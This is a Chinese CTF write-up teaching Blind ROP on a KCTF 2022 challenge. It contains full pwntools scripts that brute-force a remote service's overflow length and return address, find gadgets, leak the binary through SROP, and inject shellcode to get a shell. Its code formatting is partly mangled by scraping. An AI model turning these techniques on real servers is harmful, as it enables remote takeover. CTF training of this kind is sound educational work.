定义
来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
基本思路
暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell
实战
接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程
泄露缓冲区长度
如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | def get_overflow_length():
global io
len = 1
while True :
try :
io = remote( "221.228.109.254" , 10045 )
sa( "hacker, TNT!\n" , 'a' * len )
print ( "now trying length is " + str ( len ))
res = io.recv()
io.close()
if "TNT TNT!" not in res:
return len - 1
else :
len + = 1
except EOFError:
io.close()
return len - 1
print ( "overflow length is " + str (get_overflow_length()))
|
然后来看看结果
可以看到缓冲区长度应该是16
泄露程序结构
接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:
- 正常运行
- 等待输入或陷入死循环
- 程序崩溃,接收到EOF
```python
def probe(payload):
global io
try:1 2 3 4 5 6 7 | io = remote( '221.228.109.254' , 10031 )
sa( "hacker, TNT!\n" ,payload)
res = io.recv(timeout = 3 )
if "TNT" in res:
return "success"
else :
return "stuck"
|
except:
1 2 3 4 5 | 对于本道题来说,知道缓冲区为 16 ,所以要爆破的是第十七字节,从 0 到 255 ,于是写下如下代码:
```python
ans = open ( "ans.txt" , 'wb' )
for i in range ( 256 ):
ans.write( hex (i) + "----->" + probe( 'a' * 16 + chr (i)) + '\n' )
|
然后来看看爆破结果:
可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:
这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口
当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.
现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:
1 2 3 | ans = open ( "ans.txt" , 'wb' )
for i in range ( 256 ):
ans.write( hex (i) + "----->" + probe( 'a' * 16 + '\xce' + chr (i)) + '\n' )
|
再爆破一字节:
到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛
从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)
再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做
到这里我呢大概猜测出程序结构:
0x4000b0 程序入口
打印内容
call 读取输入
0x4000ce 打印 "TNT TNT!"
寻找gadget
首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。
一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:
1 2 3 | ans = open ( "ans.txt" , 'wb' )
for i in range ( 256 ):
ans.write( hex (i) + "----->" + probe( 'a' * 16 + p64( 0x400100 + i) + p64( 0x4000ce )) + '\n' )
|
找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令
接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。
如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。
我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:
大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3
可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入
到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。
在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 | io = remote( '221.228.109.254' , 10001 )
ret = 0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload = b 'a' * 16 + p64( 0x4000ec ) + p64( 0x4000c7 ) + bytes(sigframe)
io.send(payload)
sleep( 1 )
io.send( 'a' * 15 )
irt()
|
可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:
从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success
接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了
如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。
最后附上解题exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
context.arch = 'amd64'
rl = lambda a = False : io.recvline(a)
ru = lambda a,b = True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text = None : gdb.attach(io, text)
lg = lambda s : log.info( '\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval (s)))
uu32 = lambda data : u32(data.ljust( 4 , b '\x00' ))
uu64 = lambda data : u64(data.ljust( 8 , b '\x00' ))
def get_overflow_length():
global io
len = 1
while True :
try :
io = remote( "221.228.109.254" , 10045 )
sa( "hacker, TNT!\n" , 'a' * len )
print ( "now trying length is " + str ( len ))
res = io.recv()
io.close()
if "TNT TNT!" not in res:
return len - 1
else :
len + = 1
except EOFError:
io.close()
return len - 1
def probe(payload):
global io
try :
io = remote( '221.228.109.254' , 10001 )
sa( "hacker, TNT!\n" ,payload)
res = io.recv(timeout = 3 )
if "TNT" in res:
return "success"
else :
return "stuck"
except :
return "crash"
def leak_ELF():
io = remote( '221.228.109.254' , 10001 )
io.recvuntil(b "hacker, TNT!\n" )
ret = 0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload = b 'a' * 16 + p64( 0x4000ec ) + p64( 0x4000c7 ) + bytes(sigframe)
io.send(payload)
sleep( 1 )
io.send( 'a' * 15 )
r = io.recv()
with open ( "bin" , "wb" ) as f:
f.write(r)
io.close()
io = remote( '221.228.109.254' , 10057 )
io.recvuntil(b "hacker, TNT!\n" )
sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800
io.send(b 'a' * 16 + p64( 0x4000ee ) + p64( 0x400100 ) + bytes(sigframe))
sleep( 1 )
io.send(b 'a' * 15 )
sleep( 1 )
io.send(b 'a' * 16 + p64( 0x600808 ) + asm(shellcraft.sh()))
io.interactive()
|
成功打通:
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界